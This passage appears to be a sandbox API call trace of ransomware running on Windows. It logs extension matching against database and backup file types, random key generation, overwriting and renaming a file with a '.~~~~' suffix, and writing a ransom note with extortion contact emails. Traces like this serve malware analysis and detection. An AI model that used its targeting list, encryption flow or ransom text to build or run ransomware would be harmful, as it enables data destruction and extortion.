	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".BAK") returned 0x0
	[0077.965] lstrlenW (lpString=".BAC") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".BAC") returned 0x0
	[0077.965] lstrlenW (lpString=".dbs") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dbs") returned 0x0
	[0077.966] lstrlenW (lpString=".vhdx") returned 5
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".vhdx") returned 0x0
	[0077.966] lstrlenW (lpString=".NDF") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".NDF") returned 0x0
	[0077.966] lstrlenW (lpString=".dat") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dat") returned 0x0
	[0077.966] lstrlenW (lpString=".DBS") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DBS") returned 0x0
	[0077.966] lstrlenW (lpString=".CKP") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".CKP") returned 0x0
	[0077.966] lstrlenW (lpString=".edb") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".edb") returned 0x0
	[0077.966] lstrlenW (lpString=".PST") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".PST") returned 0x0
	[0077.966] lstrlenW (lpString=".dbf") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dbf") returned 0x0
	[0077.966] lstrlenW (lpString=".SQL") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".SQL") returned 0x0
	[0077.966] lstrlenW (lpString=".pst") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".pst") returned 0x0
	[0077.966] lstrlenW (lpString=".dbv") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dbv") returned 0x0
	[0077.966] lstrlenW (lpString=".SDF") returned 4
	[0077.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".SDF") returned 0x0
	[0077.967] lstrlenW (lpString=".dtxs") returned 5
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dtxs") returned 0x0
	[0077.967] lstrlenW (lpString=".db3") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".db3") returned 0x0
	[0077.967] lstrlenW (lpString=".OST") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".OST") returned 0x0
	[0077.967] lstrlenW (lpString=".dbx") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dbx") returned 0x0
	[0077.967] lstrlenW (lpString=".DB3") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DB3") returned 0x0
	[0077.967] lstrlenW (lpString=".DAT") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DAT") returned 0x0
	[0077.967] lstrlenW (lpString=".VHDX") returned 5
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".VHDX") returned 0x0
	[0077.967] lstrlenW (lpString=".ndf") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".ndf") returned 0x0
	[0077.967] lstrlenW (lpString=".DB") returned 3
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DB") returned 0x0
	[0077.967] lstrlenW (lpString=".sql") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".sql") returned 0x0
	[0077.967] lstrlenW (lpString=".MYD") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".MYD") returned 0x0
	[0077.967] lstrlenW (lpString=".DBT") returned 4
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DBT") returned 0x0
	[0077.967] lstrlenW (lpString=".ACCDB") returned 6
	[0077.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".ACCDB") returned 0x0
	[0077.968] lstrlenW (lpString=".fdb") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".fdb") returned 0x0
	[0077.968] lstrlenW (lpString=".bak") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".bak") returned 0x0
	[0077.968] lstrlenW (lpString=".myd") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".myd") returned 0x0
	[0077.968] lstrlenW (lpString=".DTXS") returned 5
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DTXS") returned 0x0
	[0077.968] lstrlenW (lpString=".ckp") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".ckp") returned 0x0
	[0077.968] lstrlenW (lpString=".dbt") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dbt") returned 0x0
	[0077.968] lstrlenW (lpString=".db") returned 3
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".db") returned 0x0
	[0077.968] lstrlenW (lpString=".TXT") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".TXT") returned 0x0
	[0077.968] lstrlenW (lpString=".MDF") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".MDF") returned 0x0
	[0077.968] lstrlenW (lpString=".bdb") returned 4
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".bdb") returned 0x0
	[0077.968] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.968] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0077.970] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.970] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.970] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19795997187) returned 1
	[0077.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x985f1c10, dwHighDateTime=0x1d60e1e)) 
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9810
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9810 | out: hHeap=0x300000) returned 1
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0077.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.971] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.971] GetLastError () returned 0x0
	[0077.971] GetLastError () returned 0x0
	[0077.971] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.971] GetLastError () returned 0x0
	[0077.972] GetLastError () returned 0x0
	[0077.972] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x692, lpOverlapped=0x0) returned 1
	[0078.082] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff96e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.082] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x692, lpOverlapped=0x0) returned 1
	[0078.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0078.111] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.111] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.112] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.112] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.112] CloseHandle (hObject=0x120) returned 1
	[0078.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0078.113] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.~~~~")) returned 1
	[0078.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0078.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0078.114] GetLastError () returned 0x0
	[0078.114] RtlWakeConditionVariable () returned 0x365f70
	[0078.114] GetCurrentThreadId () returned 0x9cc
	[0078.114] GetCurrentThreadId () returned 0x9cc
	[0078.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8988 | out: hHeap=0x300000) returned 1
	[0078.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9928 | out: hHeap=0x300000) returned 1
	[0078.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8988
	[0078.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.115] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.115] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.117] CloseHandle (hObject=0x120) returned 1
	[0078.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8988 | out: hHeap=0x300000) returned 1
	[0078.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.118] RtlWakeConditionVariable () returned 0x365f70
	[0078.118] GetCurrentThreadId () returned 0x9cc
	[0078.118] GetCurrentThreadId () returned 0x9cc
	[0078.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8a20 | out: hHeap=0x300000) returned 1
	[0078.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9960 | out: hHeap=0x300000) returned 1
	[0078.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8a20
	[0078.118] lstrlenW (lpString=".scr") returned 4
	[0078.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll", lpSrch=".scr") returned 0x0
	[0078.118] lstrlenW (lpString=".cmd") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll", lpSrch=".cmd") returned 0x0
	[0078.119] lstrlenW (lpString=".dll") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll", lpSrch=".dll") returned=".dll"
	[0078.119] lstrlenW (lpString=".dll") returned 4
	[0078.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8a20 | out: hHeap=0x300000) returned 1
	[0078.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.119] RtlWakeConditionVariable () returned 0x365f70
	[0078.119] GetCurrentThreadId () returned 0x9cc
	[0078.119] GetCurrentThreadId () returned 0x9cc
	[0078.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ab8 | out: hHeap=0x300000) returned 1
	[0078.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0078.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0078.119] lstrlenW (lpString=".scr") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".scr") returned 0x0
	[0078.119] lstrlenW (lpString=".cmd") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".cmd") returned 0x0
	[0078.119] lstrlenW (lpString=".dll") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dll") returned 0x0
	[0078.119] lstrlenW (lpString=".bat") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".bat") returned 0x0
	[0078.119] lstrlenW (lpString=".cpl") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".cpl") returned 0x0
	[0078.119] lstrlenW (lpString=".sys") returned 4
	[0078.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".sys") returned 0x0
	[0078.120] lstrlenW (lpString=".msc") returned 4
	[0078.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".msc") returned 0x0
	[0078.120] lstrlenW (lpString=".com") returned 4
	[0078.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".com") returned 0x0
	[0078.120] lstrlenW (lpString=".lnk") returned 4
	[0078.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".lnk") returned 0x0
	[0078.120] lstrlenW (lpString=".msp") returned 4
	[0078.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".msp") returned 0x0
	[0078.120] lstrlenW (lpString=".pif") returned 4
	[0078.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".pif") returned 0x0
	[0078.120] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.121] lstrlenW (lpString=".sqb") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".sqb") returned 0x0
	[0078.121] lstrlenW (lpString=".ost") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".ost") returned 0x0
	[0078.121] lstrlenW (lpString=".txt") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".txt") returned 0x0
	[0078.121] lstrlenW (lpString=".mdt") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".mdt") returned 0x0
	[0078.121] lstrlenW (lpString=".BDB") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".BDB") returned 0x0
	[0078.121] lstrlenW (lpString=".eql") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".eql") returned 0x0
	[0078.121] lstrlenW (lpString=".DBF") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DBF") returned 0x0
	[0078.121] lstrlenW (lpString=".EQL") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".EQL") returned 0x0
	[0078.121] lstrlenW (lpString=".FDB") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".FDB") returned 0x0
	[0078.121] lstrlenW (lpString=".EDB") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".EDB") returned 0x0
	[0078.121] lstrlenW (lpString=".DACPAC") returned 7
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.121] lstrlenW (lpString=".VHD") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".VHD") returned 0x0
	[0078.121] lstrlenW (lpString=".DBV") returned 4
	[0078.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DBV") returned 0x0
	[0078.121] lstrlenW (lpString=".dacpac") returned 7
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dacpac") returned 0x0
	[0078.122] lstrlenW (lpString=".sdf") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".sdf") returned 0x0
	[0078.122] lstrlenW (lpString=".accdb") returned 6
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".accdb") returned 0x0
	[0078.122] lstrlenW (lpString=".DBX") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DBX") returned 0x0
	[0078.122] lstrlenW (lpString=".MDT") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".MDT") returned 0x0
	[0078.122] lstrlenW (lpString=".SQB") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".SQB") returned 0x0
	[0078.122] lstrlenW (lpString=".vhd") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".vhd") returned 0x0
	[0078.122] lstrlenW (lpString=".bac") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".bac") returned 0x0
	[0078.122] lstrlenW (lpString=".mdf") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".mdf") returned 0x0
	[0078.122] lstrlenW (lpString=".BAK") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".BAK") returned 0x0
	[0078.122] lstrlenW (lpString=".BAC") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".BAC") returned 0x0
	[0078.122] lstrlenW (lpString=".dbs") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dbs") returned 0x0
	[0078.122] lstrlenW (lpString=".vhdx") returned 5
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".vhdx") returned 0x0
	[0078.122] lstrlenW (lpString=".NDF") returned 4
	[0078.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".NDF") returned 0x0
	[0078.123] lstrlenW (lpString=".dat") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dat") returned 0x0
	[0078.123] lstrlenW (lpString=".DBS") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DBS") returned 0x0
	[0078.123] lstrlenW (lpString=".CKP") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".CKP") returned 0x0
